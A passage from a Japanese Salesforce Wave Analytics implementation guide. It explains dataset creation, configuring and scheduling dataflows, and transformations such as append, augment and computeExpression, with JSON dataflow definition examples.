タセットを作成できます。データセットビルダーでは、ポイント & クリックで容易に関連 Salesforce オブジェク
トを識別および選択できます。
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データセットに含めるデータを選択すると、データセットビルダーにより、関連付けられた JSON が生成され、
データフロー定義ファイルに追加されます。データフローが次回実行されるときに、データセットが作成され
ます。データセットのデータは、データフローの実行時に毎回更新されます。

関連トピック:

データセットビルダーを使用したデータセットの作成

Excel データ用の Wave Connector

Salesforce Wave Connector を使用すると、容易に Microsoft Excel 2013 から Wave Analytics にデータをインポートできま
す。
Wave Connector は、デスクトップ版 Excel 2013 および Office 365 の Excel Online 用のアプリケーションとして使用で
きます。Connectorは、Microsoft Office 用アプリストアから、または組織の非公開アプリケーションカタログから
アプリケーションとして入手できます。Connectorをインストールしたら、ポイント & クリックでデータを Excel

から Salesforce にインポートできます。

Wave Connector Excel アプリケーションのインストール
Wave Connector アプリケーションを使用すると、ユーザはすばやく簡単に Excel 2013 からSalesforce Wave Analytics

にデータをインポートできます。

ユーザインターフェースからの外部データのアップロード
アップロードユーザインターフェースを使用して、外部データに基づいて 1 つのデータセットを作成できま
す。.csv、.gz、または .zip 形式の外部データファイルをアップロードできます。データを更新するには、新しい
外部データファイルをアップロードしてデータセット内のデータを上書きします。
Wave Analyticsはデータセットにデータを読み込むときに、データの各列に関するメタデータも追加します。た
とえば、メタデータにはデータ型、精度、スケール、デフォルト値を含めることができます。
外部データの場合、メタデータファイルで異なるメタデータ属性を指定しない限り、Wave Analyticsは外部デー
タファイル内のデータの各列に関するメタデータを推測します。メタデータファイルとは、外部データファイ
ルの構造を説明する JSON ファイルです。たとえば、メタデータファイルを使用して、外部データの特定の列
のデータ型とデフォルト値を明示的に設定できます。外部データをアップロードするときにメタデータファイ
ルが提供されていない場合、Wave Analytics はすべての列をディメンションとして扱い、データ型を「テキス
ト」に設定します。この場合、テキストデータ型のデータセット列では数学的計算を実行できないため、デー
タセットに適用可能なクエリの種類に影響します。数学的計算は、数値データ型のデータセット列でのみ実行
できます。
外部データファイルに基づいてデータセットを作成したら、データセットを編集して新しいメタデータファイ
ルを適用できます。これにより、各列のメタデータ属性を変更できます。

メモ:  Wave は、アップロードされた CSV とメタデータファイルを、処理のみを目的として一時的に保存し
ます。データセットが作成されると、Wave はファイルを消去します。

関連トピック:

外部データを使用したデータセットの作成
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外部データ API

外部データ API を使用して、.csv 形式の外部データに基づいて 1 つのデータセットを作成できます。API を使用
して .csv ファイルをアップロードし、データセットを編集することもできます。データセットを編集する場
合、すべてのレコードの上書き、レコードの追加、レコードの更新、またはレコードの削除を選択できます。
外部データ API についての詳細は、『Wave Analytics 外部データ API 開発者ガイド』を参照してください。

データフローを使用したデータセットの作成
データフローを使用し、Salesforce オブジェクトまたは既存のデータセットのデータに基づいて 1 つ以上のデー
タセットを作成できます。

1. データフローの設計
.json 形式でデータフロー定義の作成を開始する前に、データフローの設計について検討します。クエリに
使用可能なデータ、データの抽出元、必要なデータを得るために抽出したデータの変換が必要かどうかを
考慮します。

2. データフローの設定
データフロー設計に基づいてデータフローを設定します。データの抽出、ビジネス要件に基づいたデータ
セットの変換、およびクエリで使用可能にするためのデータセットの登録を行うようにデータフローを設
定できます。データフローを設定するには、変換をデータフロー定義ファイルに追加します。

3. データフローの開始と停止
手動でデータフロージョブを開始して、すぐにデータをデータセットに読み込むことができます。実行中
のジョブを停止することもできます。24 時間のサイクル内で最大24件のデータフロージョブを実行できま
す。

4. データフロージョブの監視
データマネージャの [監視] を使用してデータフロージョブを監視し、正常に完了したことを確認したり、
失敗した場合はトラブルシューティングしたりできます。

5. データフローの再スケジュールとスケジュール解除
初めてデータフロージョブを実行すると、デフォルトでは日次スケジュールに従って実行されます。日次
スケジュールの時刻の変更や、スケジュールを変更して時間間隔で実行できます。スケジュールを変更し
て、特定の時刻までにデータを使用できるようにしたり、ジョブを営業時間外に実行したりできます。ま
た、データフローのスケジュール解除もできます。

データフローの設計
.json 形式でデータフロー定義の作成を開始する前に、データフローの設計について検討します。クエリに使用
可能なデータ、データの抽出元、必要なデータを得るために抽出したデータの変換が必要かどうかを考慮しま
す。
設計上重要ないくつかの決定事項を明らかにするために、例を挙げて考えてみましょう。この例では、目標は
「Won Opportunities」(成立した商談) というデータセットを作成することです。データセットには、各商談の取
引先など、商談の詳細が含まれます。
このデータセットを作成するには、次のデータフローを設計します。
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このデータフローでは、Opportunity オブジェクトから商談データが抽出され、Account オブジェクトから取引先
名が抽出されます。抽出したオブジェクトごとに、データフローによって新しいデータセットが作成されま
す。
続いて、抽出したデータから作成されたデータセットが変換されます。最初に、商談データと取引先データが
新しいデータセットに結合されます。次に、データセットに成立した商談のみが含まれるように、商談フェー
ズに基づいてレコードが絞り込まれます。データフローでは、データセットが変換されるたびに新しいデータ
セットが作成されます。
最後に、ユーザが成立した商談のみをクエリできるようにするため、最終的なデータセットのみが登録される
ようにデータフローを設定します。ただし、必要な場合は、データフローで作成されたどのデータセットでも
必要な数だけ登録できます。
次の理由から、登録するデータセットは慎重に選択してください。
• すべての登録済みデータセットの総行数は、プラットフォームライセンスあたり最大 2 億 5,000 万行に制限

されています。
• 登録済みデータセットへのアクセス権を持つユーザは、データをクエリできます。ただし、データセット

に行レベルセキュリティを適用してレコードへのアクセスを制限できます。
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データフローの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データフロー定義ファイ
ルを編集する
• 「Wave Analytics デー

タフローの編集」

データフロー設計に基づいてデータフローを設定します。データの抽出、ビジ
ネス要件に基づいたデータセットの変換、およびクエリで使用可能にするため
のデータセットの登録を行うようにデータフローを設定できます。データフロー
を設定するには、変換をデータフロー定義ファイルに追加します。
データフロー定義ファイルは、データフローロジックを表す変換が含まれる JSON

ファイルです。データフロー定義ファイルは、UTF-8 文字コードで保存する必要
があります。
外部データを処理できるようにデータフローを設定する前に、外部データをWave

Analytics にアップロードする必要があります。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
クリックします。
[監視] タブでデータマネージャが開きます。このとき、[ジョブビュー] がデ
フォルトで選択されています。

2. [データフロービュー] を選択します。
3. データフロー定義ファイルをダウンロードするには、アクションリスト (1)

の [ダウンロード] をクリックします。

4. データフロー定義ファイルを変更する前に、バックアップコピーを作成します。
Wave Analyticsには以前のバージョンのファイルは保持されません。間違えた場合は、前のバージョンをアッ
プロードして変更をロールバックできます。

5. データフロー定義ファイルに変換を追加します。
たとえば、以前のステップの設計に基づいて、次の変換を追加できます。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
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{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" }

]
}

},
"Transform_Augment_OpportunitiesWithAccountDetails": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunities",
"left_key": [ "AccountId" ],
"relationship": "OpptyAcct",
"right": "Extract_AccountDetails",
"right_key": [ "Id" ],
"right_select": [

"Name"
]

}
},
"Transform_Filter_Opportunities": {

"action": "filter",
"parameters": {

"filter": "StageName:EQ:Closed Won",
"source": "Transform_Augment_OpportunitiesWithAccountDetails"

}
},
"Register_Dataset_WonOpportunities": {

"action": "sfdcRegister",
"parameters": {

"alias": "WonOpportunities",
"name": "WonOpportunities",
"source": "Transform_Filter_Opportunities"

}
}

}

メモ:  JSON のキーと値では、大文字と小文字が区別されます。前の JSON の例で太字のキーにはそれぞ
れ、変換種別を識別する 1 つのアクションが含まれます。どのような順序で変換をデータフロー定義
ファイルに追加してもかまいません。Wave Analytics がデータフローをトラバースして互いの依存関係
を判別し、変換を処理する順序を決定します。
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6. データフロー定義ファイルを保存する前に、JSON 検証ツールを使用して JSON が有効であることを検証しま
す。
無効な JSON が含まれるデータフロー定義ファイルをアップロードしようとするとエラーになります。JSON

検証ツールはインターネットで見つけることができます。
7. データフロー定義ファイルを UTF-8 文字コードで保存し、ファイルを閉じます。
8. データ監視のデータフロービューで、アクションリスト (1) の [アップロード]をクリックし、更新したデー

タフロー定義ファイルをアップロードします。

メモ: データフロー定義ファイルをアップロードしても実行中のデータフロージョブには影響はなく、
データフロージョブが自動的に開始することはありません。

これで、データフローを必要に応じて開始することも、スケジュールに従って実行されるまで待機することも
できます。ユーザは、データフローが実行されるまで、登録したデータセットをクエリすることはできませ
ん。
複製を有効にしている場合、デフォルトのデータフローに加えて複数のデータフローを作成し、同じように設
定できます。複製を有効にしたら、データ監視の[作成]ボタンを確認してください。「複製を使用したデータ
フローの最適化」を参照してください。

メモ: 組織では、最大 10 個のデータフローを設定できます。これには、デフォルトデータフローと Wave

アプリケーションデータフロー (Sales Wave、Service Wave など) が含まれます。各データフロー実行が 1 日あ
たり 24 回のデータフロー実行の制限にカウントされることに留意してください。
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データフローの開始と停止

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データフロージョブを開
始する
• 「Wave Analytics デー

タフローの編集」

手動でデータフロージョブを開始して、すぐにデータをデータセットに読み込
むことができます。実行中のジョブを停止することもできます。24 時間のサイ
クル内で最大 24 件のデータフロージョブを実行できます。

メモ: デフォルトでは、データフローは自動的には実行されません。スケ
ジュールに基づいてデータフローの実行を開始するには、最初にデータフ
ローを手動で開始する必要があります。最初のジョブの実行後、データフ
ロージョブは日次スケジュールに従って実行されます。

1.
Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
クリックします。
[監視] タブでデータマネージャが開きます。このとき、[ジョブビュー] がデ
フォルトで選択されています。

2. [データフロービュー] を選択します。

3. アクションリスト (1) で [開始] をクリックしてデータフロージョブを開始します。
データフロージョブがジョブキューに追加されます。データフロージョブの実行中、[開始]ボタンはグレー
表示されます。

4. ジョブが完了すると、Wave Analytics から、最後にデータフロー定義ファイルを変更したユーザにメール通
知が送信されます。
メール通知は、ジョブが正常に完了したかどうかを示します。また、開始時刻、終了時刻、所要時間、処
理された行数などのジョブの詳細も記載されます。ジョブが失敗した場合、通知には失敗理由が記載され
ます。

5. 現在実行中のデータフロージョブを停止するには、ジョブの状況の横にある をクリックします。
停止しているデータフローを [開始] をクリックして再開始する場合、データフロージョブは最初から実行
され、ジョブが停止したところから再開することはありません。
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データ監視でデータフロージョブを監視し、いつデータフローが完了するかを判別できます。データフローが
正常に完了した後、ホームページを更新すると、登録されたデータセットが表示されます。

データフロージョブの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データ監視にアクセスす
る
• 「Wave Analytics デー

タフローの編集」、
「外部データを Wave
Analytics にアップロー
ド」、または「Wave
Analytics の管理」

エラーログをダウンロー
ドする
• 「Wave Analytics デー

タフローの編集」およ
び「すべてのデータの
参照」

データマネージャの [監視] を使用してデータフロージョブを監視し、正常に完
了したことを確認したり、失敗した場合はトラブルシューティングしたりでき
ます。
[監視] のデータフロービューには、最近 10 件のデータフロージョブの状況、開
始時刻、および所要時間が表示され、過去 7 日分の履歴が保持されます。失敗
したジョブのトラブルシューティングに役立つように、ジョブに関するエラー
メッセージと、処理されたすべての変換に関する実行時の詳細を表示し、エラー
ログ (使用可能な場合) をダウンロードできます。
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1.
Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] をクリックします。
[監視] タブでデータマネージャが開きます。このとき、[ジョブビュー] がデフォルトで選択されています。

2. [データフロービュー] (1) を選択します。
3. ジョブの最新の状況を表示するには、 をクリックします。

各ジョブの状況は、次のいずれかになります。

説明状況

ジョブは実行中です。実行中

ジョブは失敗しました。失敗

ジョブは正常に完了しました。成功

ジョブは正常に完了しましたが、一部の行が失敗し
ました。

警告

4. データフロージョブが失敗した場合、ジョブノード (2) を展開し、処理されたすべての変換の実行時の詳細
を確認します。

5. ノードのエラーログがある場合は、[ログをダウンロード] ボタン (3) をクリックして、失敗した行を含む CSV

ファイルをダウンロードします。

メモ: エラーログには、読み込みに失敗した行からのデータが表示されます。データセキュリティを
維持し、このデータへの不正なアクセスを防止するため、「すべてのデータの参照」権限を持つユー
ザのみがエラーログをダウンロードできます。
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6. データフローのロジックに問題がある場合は、データフロー定義ファイルを編集し、アップロードしてか
ら、再度データフローを実行します。

データフローの再スケジュールとスケジュール解除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データフロージョブをス
ケジュールまたはスケ
ジュール解除する
• 「Wave Analytics デー

タフローの編集」

初めてデータフロージョブを実行すると、デフォルトでは日次スケジュールに
従って実行されます。日次スケジュールの時刻の変更や、スケジュールを変更
して時間間隔で実行できます。スケジュールを変更して、特定の時刻までにデー
タを使用できるようにしたり、ジョブを営業時間外に実行したりできます。ま
た、データフローのスケジュール解除もできます。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データマネージャ] を
クリックします。
[監視] タブでデータマネージャが開きます。このとき、[ジョブビュー] がデ
フォルトで選択されています。

2. [データフロービュー] を選択します。

3. アクションリスト (1) で [スケジュール] をクリックしてデータフロージョブを再スケジュールします。
デフォルトの日次スケジュールと開始時刻が表示されます。

4. 毎日 1 回実行するには、データフロージョブを開始する時刻を選択します。
5. 時間間隔で実行するには、[時間]を選択し、間隔の詳細を指定します。[分オフセット] は、データフローを

実行する正時後の分数です。
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時間単位でスケジュールされたデータフローは、固定基準時刻 (00:00 UTC) に対して相対的に実行されます。
たとえば、15 分のオフセットで 6 時間ごとに実行するようにデータフローをスケジュールした場合、デー
タフローは毎日 00:15 UTC、06:15 UTC、12:15 UTC、18:15 UTC に実行するようにスケジュールされます。最初の
データフローの実行は次のスケジュール時刻に発生します。したがって、スケジュールを 04:00 UTC に変更
すると、データフローは次のスケジュール時刻 (06:15 UTC) に実行され、それ以降は 6 時間間隔になります。
スケジュールを保存した後は、スケジューラによって最初にデータフローが実行される時刻 (ユーザのタイ
ムゾーン) が指定されます。

6. [保存] をクリックします。
[データフロースケジュール] ポップアップボックスでデータフローを実行する次の時刻 (ユーザのローカル
タイムゾーン) を指定します。

7. [完了] をクリックします。
8. データフローのスケジュールでの実行を停止するには、アクションリスト (1) で [スケジュール解除]を選択

します。

Wave データフローの変換
変換とは、データを操作することです。変換をデータフローに追加して、Salesforce オブジェクトやデータセッ
トからデータを抽出したり、Salesforce データや外部データが含まれるデータセットを変換したり、データセッ
トを登録したりすることができます。
たとえば、変換を使用して 2 つの関連するデータセットからデータを結合し、作成されたデータセットをクエ
リで使用できるように登録することができます。

append 変換
append 変換では、複数のデータセットからレコードを 1 つのデータセットに結合します。
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augment 変換
augment 変換では、別の関連データセットから列を結合して、入力データセットに追加します。作成され
た、追加後のデータセットでは、関連する両方の入力データセットを対象にクエリを実行できます。たと
えば、Account データセットに User データセットを追加してクエリが取引先レコードと取引先所有者のフル
ネームを返せるようにすることができます。
computeExpression 変換
computeExpression変換を使用すると、派生項目をデータセットに追加できます。派生項目の値は、入力デー
タソースから抽出されません。代わりに、WaveはSAQL式を使用して値を生成します。この式は、入力デー
タの 1 つ以上の項目または他の派生項目を基に計算できます。たとえば、式を使用して、値を項目に追加
すること、テキスト項目を連結すること、数値項目で数学的計算を実行することなどができます。
computeRelative 変換
computeRelative変換を使用すると、他の行の値に基づく派生項目をデータセットに追加して、データのトレ
ンドを分析することができます。たとえば、販売パイプラインのトレンドを分析するために、商談が各
フェーズに滞在した日数を計算する派生項目を作成できます。また、商談のフェーズを通じて商談金額の
変化を計算することもできます。
delta 変換
delta 変換では、経時に伴うデータセットの基準列の値の変化を計算します。delta 変換では、データセット
の出力列を生成して各レコードのデルタを保存します。デルタを作成することで、ビジネスアナリストが
クエリでデルタを利用しやすくなります。
dim2mea 変換
dim2mea 変換では、ディメンションに基づいて新しい基準を作成します。この変換では、データセットに
新しい基準列を追加します。また、ディメンションを保持して、そのディメンションを使用する既存のレ
ンズとダッシュボードがリンク切れにならないようにします。
edgemart 変換
edgemart変換では、Salesforce データ、外部データ、またはこれら 2 つの組み合わせが含まれる既存の登録済
みデータセットへのアクセス権をデータフローに付与できます。この変換を使用すると、データセットを
参照してそのデータをデータフロー内の後続の変換で使用できます。この変換と augment 変換を併用して、
既存のデータセットを新規データセットと結合できます。
filter 変換
filter 変換では、既存のデータセットからレコードを削除します。データセットに保持されるレコードを指
定する絞り込み条件を定義します。
flatten 変換
flatten変換では階層データをフラット化します。たとえば、Salesforce ロール階層をフラット化し、ロール階
層に基づいてデータセットに行レベルセキュリティを実装できます。
sfdcDigest 変換
sfdcDigest変換では、Salesforce オブジェクトから抽出したデータに基づいてデータセットを生成します。ユー
ザは、データの抽出元にする Salesforce オブジェクトおよび項目を指定する必要があります。また、機密情
報が含まれる項目や分析との関連性がない項目など、特定の項目を除外することもできます。
sfdcRegister 変換
sfdcRegister変換では、データセットをクエリで使用できるように登録します。未登録のデータセットに対し
てユーザが表示やクエリの実行を行うことはできません。
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sliceDataset 変換
sliceDataset 変換を使用すると、データフローのデータセットから項目が削除され、新規データセットまたは
他の変換で使用する項目のサブセットが残ります。これにより、1 つのデータセットから異なる項目のセッ
トを持つ複数のデータセットを作成できます。
update 変換
update 変換は、参照データセットと呼ばれる別のデータセットのデータに基づいて、既存のデータセット
で指定された項目値を更新します。変換では、参照データセット内の対応する項目にある新しい値が参照
されます。その結果が新しいデータセットに保存されます。
変換で生成されるメタデータの上書き
必要に応じて、変換で生成されるメタデータを上書きできます。オブジェクトおよび項目属性を上書きで
きます。たとえば、Salesforce オブジェクトから抽出された項目名を変更して、データセットには異なって
表示されるようにすることができます。メタデータを上書きするには、データフロー定義ファイルの変換
のスキーマセクションに上書きする内容を追加します。

関連トピック:

データフローを使用したデータセットの作成

append 変換
append 変換では、複数のデータセットからレコードを 1 つのデータセットに結合します。
この変換を使用する場合は、次のルールに留意してください。
• この変換では、重複レコードは削除されません。
• すべての入力データセットの構造は同じである必要があります。つまり、対応する列は同じ順序で並び、

名前とデータ型が同じである必要があります。

例: 例を見てみましょう。毎月、その月の販売目標が含まれるデータセットを作成しています。すべての
月の販売目標を全体的に把握する必要があります。そのために、次のデータフロー定義ファイルを作成
して既存のデータセットを 1 つのデータセットにマージします。

{

"Extract_SalesTargets_2014Jan": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Jan" }

},

"Extract_SalesTargets_2014Feb": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Feb" }

},

"Extract_SalesTargets_2014Mar": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Mar" }

},

"Append_SalesTargets_2014Quarter1": {
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"action": "append",

"parameters": {

"sources": [

"Extract_SalesTargets_2014Jan",

"Extract_SalesTargets_2014Feb",

"Extract_SalesTargets_2014Mar"

]

}

},

"Register_AllSalesTargets": {

"action": "sfdcRegister",

"parameters": {

"alias": "AllSalesTargets",

"name": "AllSalesTargets",

"source": "Append_SalesTargets_2014Quarter1"

}

}

}

1 つのデータセットを作成したら、データ検索条件を使用して月別、四半期別、または年別で販売目標を
分析できます。

append パラメータ
append 変換を定義する場合は、アクション属性を append に設定してパラメータを指定します。

append パラメータ
append 変換を定義する場合は、アクション属性を append に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

マージするデータセットを識別す
る、データフロー定義ファイル内
のノード。

はいsources

関連トピック:

append 変換
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augment 変換
augment 変換では、別の関連データセットから列を結合して、入力データセットに追加します。作成された、
追加後のデータセットでは、関連する両方の入力データセットを対象にクエリを実行できます。たとえば、
Account データセットに User データセットを追加してクエリが取引先レコードと取引先所有者のフルネームを
返せるようにすることができます。
変換を作成する場合、各入力データセットを左または右のデータセットとして識別し、そのデータセット間の
リレーションを指定します。Wave Analyticsは、左のデータセットのすべての列を、右のデータセットの指定さ
れた列のみと結合します (各データセットに 5,000 を超える列を含めることはできません)。Wave Analytics によ
り、右のデータセットから列名にリレーションが追加されます。これは左右のデータセットに同じ名前の列が
ある場合に役立ちます。
augment 変換では、左のデータセットのレコードごとにルックアップを実行して右のデータセットから一致す
るレコードを見つけます。関連レコードを照合する場合、augment 変換では一致条件を使用します。一致条件
は、各データセットのキーに基づいて指定します。次に例を示します。
"left_key": [ "Id" ],"right_key": [ "Prod_ID" ]

キーは、単一列のキーまたは複合キーにすることができます。複合キーに基づく一致条件の場合、両方のデー
タセットのキーには、同じ数の列が同じ順序で指定されている必要があります。

ヒント: 複数のデータセットを追加する場合は、一度に 2 つのデータセットを追加します。たとえば、3

つのデータセットを追加するには、最初の 2 つのデータセットを追加し、次に作成されたデータセットに
3 つ目のデータセットを追加します。

例: augment変換の例を見てみましょう。次の例では、Opportunity オブジェクトと Accounts オブジェクトか
らデータを抽出し、取引先 ID 項目に基づいてデータを照合します。

次のデータフロー定義ファイルを作成します。
{

"Extract_Opportunity": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
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{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" }

]
}

},
"Augment_OpportunitiesWithAccountDetails": {

"action": "augment",
"parameters": {

"operation": "LookupSingleValue",
"left": "Extract_Opportunity",
"left_key": [

"AccountId"
],
"relationship": "OpptyAcct",
"right": "Extract_AccountDetails",
"right_key": [

"Id"
],
"right_select": [ "Name" ]

}
},
"Register_OpportunityDetails": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunity_Account",
"name": "Opportunity_Account",
"source": "Augment_OpportunitiesWithAccountDetails" }

}
}

データフローが実行された後、Wave Analytics は Opportunity_Account データセットを作成して登録します。
さらに、右のデータセットのすべての列にプレフィックスとしてリレーションも追加します。
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augment 変換を使用したレコード照合時の特殊なケース
augment 変換では、左のデータセットのレコードごとにルックアップを実行して右のデータセットから一致
するレコードを見つけます。ただし、augment変換がレコード照合時に特殊なケースをどう処理するかを理
解しておくことは非常に重要です。
augment パラメータ
augment 変換を定義する場合は、アクション属性を augment に設定してパラメータを指定します。

augment 変換を使用したレコード照合時の特殊なケース
augment 変換では、左のデータセットのレコードごとにルックアップを実行して右のデータセットから一致す
るレコードを見つけます。ただし、augment 変換がレコード照合時に特殊なケースをどう処理するかを理解し
ておくことは非常に重要です。
特殊なケースを示す例をいくつか見てみましょう。

null のキーの処理
左のデータセットのレコードに null のキーが含まれていると、Wave Analytics はレコードを照合するためのルッ
クアップを実行しません。代わりに、Wave Analytics は右の列を付加し、ディメンション (日付を含む) に null、
基準に「0」を挿入します。
例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に設定して、Idお
よび ProdId 項目に基づいてレコードを照合したとします。
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Wave Analytics は、商品 ID が null であるため、最後のレコードを照合しません。代わりに、Wave Analytics は
Price.Pricebook ディメンションに null、Price.UnitPrice 基準に「0」を挿入します。augment 後に作成
されるデータセットは次のようになります。

空のキーの処理
Wave Analytics は、空の値を持つ左のキーと空の値を持つ右のキーを照合します。
例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に設定して、Idお
よび ProdId 項目に基づいてレコードを照合したとします。

Wave Analytics は、どちらも空の値 ("") を持つ、Product データセットの最後のレコードと Price データセットの 3

番目のレコードを一致とします。augment 後に作成されるデータセットは次のようになります。

一意ではないキーの処理
推奨されてはいますが、左のキーが一意である必要はありません。複数のレコードに同じ左のキーがある場
合、Wave Analytics は追加した列に同じ値を作成します。
例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に設定して、Idお
よび ProdId 項目に基づいてレコードを照合したとします。
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Wave Analytics は、Product データセットのレコードと Price データセットのレコードを照合します。augment 後に
作成されるデータセットは次のようになります。

一致なしの処理
右のデータセットに左のキーとの一致がない場合、Wave Analytics は右の列を付加し、ディメンション (日付を
含む) に null、基準に「0」を挿入します。
例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に設定して、Idお
よび ProdId 項目に基づいてレコードを照合したとします。

キーの一致がないため、Wave Analytics は Product データセットのレコードと Price データセットのレコードを照
合しません。augment 後に作成されるデータセットは次のようになります。

複数一致の処理
左のデータセットが右のデータセットと 1 対多のリレーションにある場合、Wave Analytics で左のレコードに対
して複数一致が見つかることがあります。Wave Analytics が複数一致を処理する方法は、指定された augment 操
作に応じて異なります。複数一致のケースを処理するために、次のいずれかの操作を指定できます。
LookupSingleValue

augment 変換は、1 行から結果を返します。Wave Analytics は、一致行のリストからランダムに 1 行を選択し
ます。

メモ: データフローを実行するたびに、返された行に応じて Wave Analytics が異なる結果を返す可能性
があります。

例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に、操作を
LookupSingleValue に設定し、Id 項目と ProdId 項目に基づいてレコードを照合します。
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Price データセットに Prod3 の行は複数ありますが、Wave Analytics はランダムにいずれかの一致行を選択し、
その行に基づいて値を返します。Wave Analytics が最初の Prod3 行を選択した場合、augment 後に作成された
データセットは次のようになります。

LookupMultiValue

Wave Analytics はすべての一致行から結果を返します。
例を見てみましょう。augment 変換を次のデータセットに適用し、リレーションを「Price」に、操作を
LookupMultiValue に設定し、Id 項目と ProdId 項目に基づいてレコードを照合します。

ルックアップでは複数の Prod3 行を返すため、作成されるデータセット内のディメンション
Price.Pricebook 項目は複数値項目になり、すべてのディメンション値が表示されます。基準項目
Price.UnitPriceには、1500 (800 と 700 の合計) が含まれます。augment 後に作成されるデータセットは次
のようになります。

関連トピック:

augment 変換

augment パラメータ
augment 変換を定義する場合は、アクション属性を augment に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。
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値必須項目パラメータ

右のデータセットの複数行が左の
データセットの 1 行と一致した場合

いいえoperation

の変換の処理を示します。有効な
値は次のとおりです。
• LookupSingleValue。いずれ

かの一致行から値を返します。
operationパラメータを指定し
ない場合、変換はこの操作を使
用します。

• LookupMultiValue。すべての
一致行から値を返します。

各操作についての詳細は、
「augment 変換を使用したレコード
照合時の特殊なケース」を参照し
てください。

左のデータセットを識別する、デー
タフロー定義ファイル内のノード。

はいleft

これは、この変換に対する 2 つの入
力ソースの 1 つです。

データセットの augment に使用され
る左のデータセットのキー列。複

はいleft_key

合キーを使用する場合、左と右の
キーには、同じ数の列が同じ順序
で含まれている必要があります。
複合キーの場合は、次の構文を使
用します。
[ "Key Column1", "Key
Column2", …, "Key ColumnN" ]

メモ: 左または右のキーを複
数値項目にすることはできま
せん。

右のデータセットを識別する、デー
タフロー定義ファイル内のノード。

はいright

これは、この変換に対する 2 つの入
力ソースの 1 つです。

左と右のデータセット間のリレー
ション。データフローでは、出力

はいrelationship

データセットの右の列名の先頭に
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値必須項目パラメータ

リレーションを追加して、列名を
一意でわかりやすくします。

出力データセットに含める右のデー
タセットの列名の配列。データフ

はいright_select

ローでは、列名のプレフィックス
としてリレーションを追加して、
出力データセットの右列の名前を
判別できるようにします。

データセットの augment に使用され
る右のデータセットのキー列。複

はいright_key

合キーを使用する場合、左と右の
キーには、同じ数の列が同じ順序
で含まれている必要があります。

関連トピック:

augment 変換

computeExpression 変換
computeExpression 変換を使用すると、派生項目をデータセットに追加できます。派生項目の値は、入力データ
ソースから抽出されません。代わりに、Wave は SAQL 式を使用して値を生成します。この式は、入力データの
1 つ以上の項目または他の派生項目を基に計算できます。たとえば、式を使用して、値を項目に追加するこ
と、テキスト項目を連結すること、数値項目で数学的計算を実行することなどができます。

メモ: computeExpression変換とcomputeRelative変換は似ていますが、重要な違いがあります。computeExpression

変換では同じ行内の他の項目に基づいて計算が実行されます。computeRelative 変換では、他の行の同じ項
目の前の値および次の値に基づいて計算が実行されます。

computeExpression 変換を作成するときは、次のガイドラインに従ってください。
• 式には次の SAQL 演算子と関数のみを含めることができます。

– 算術演算子
– case 演算子
– 文字列演算子
– 日付関数

• 派生項目の値は、その指定された型に一致する必要があります。たとえば、値が文字列の場合、派生項目
の型を「Text」に設定します。

• Wave は、JSON でリストされている順序で派生項目の値を計算します。したがって、同じ computeExpression

変換内の他の派生項目に基づいて派生項目を作成する場合、入力派生項目は最初にリストされている必要
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があります。たとえば、次の computeExpression 変換の JSON スニペットでは、Derived_A が Derived_B より前に
リストされている必要があります。
"CreateDerivedFields": {

"action": "computeExpression",
"parameters": {

"source": "sourceNode",
"mergeWithSource": false,
"computedFields": [

{
"name": "Derived_A",
"type": "Text",
"label": "Derived Field A",
"saqlExpression": "\"hello \""},

{
"name": "Derived_B",
"type": "Text",
"label": "Derived Field B Dependent on Field A",
"saqlExpression": "Derived_A + \"world\""}

]
}

}

• 作成されるデータセットに派生項目のみを含めるか、入力項目と派生項目を含めるかを選択できます。

例: 例を見てみましょう。Salesforce 商談データに基づいてデータセットを作成します。Opportunity オブジェ
クトから ID 項目と Amount 項目を抽出するデータフローを作成します。さらに、データセットに ModifiedId、
SalesTax、FinalPrice、ValueCategory 派生項目も追加します。派生項目で、次の操作を実行します。
• 各商談 ID に「SFDC」を追加し、新しい更新 ID を取得する。
• 8% の税率に基づいて消費税を計算する。
• 金額と消費税を追加して最終価格を計算する。
• 計算された最終価格に基づいて商談を Low、Medium、High 値のバケットに分類する。
次のデータフロー定義を作成します。
{

"salesData": {
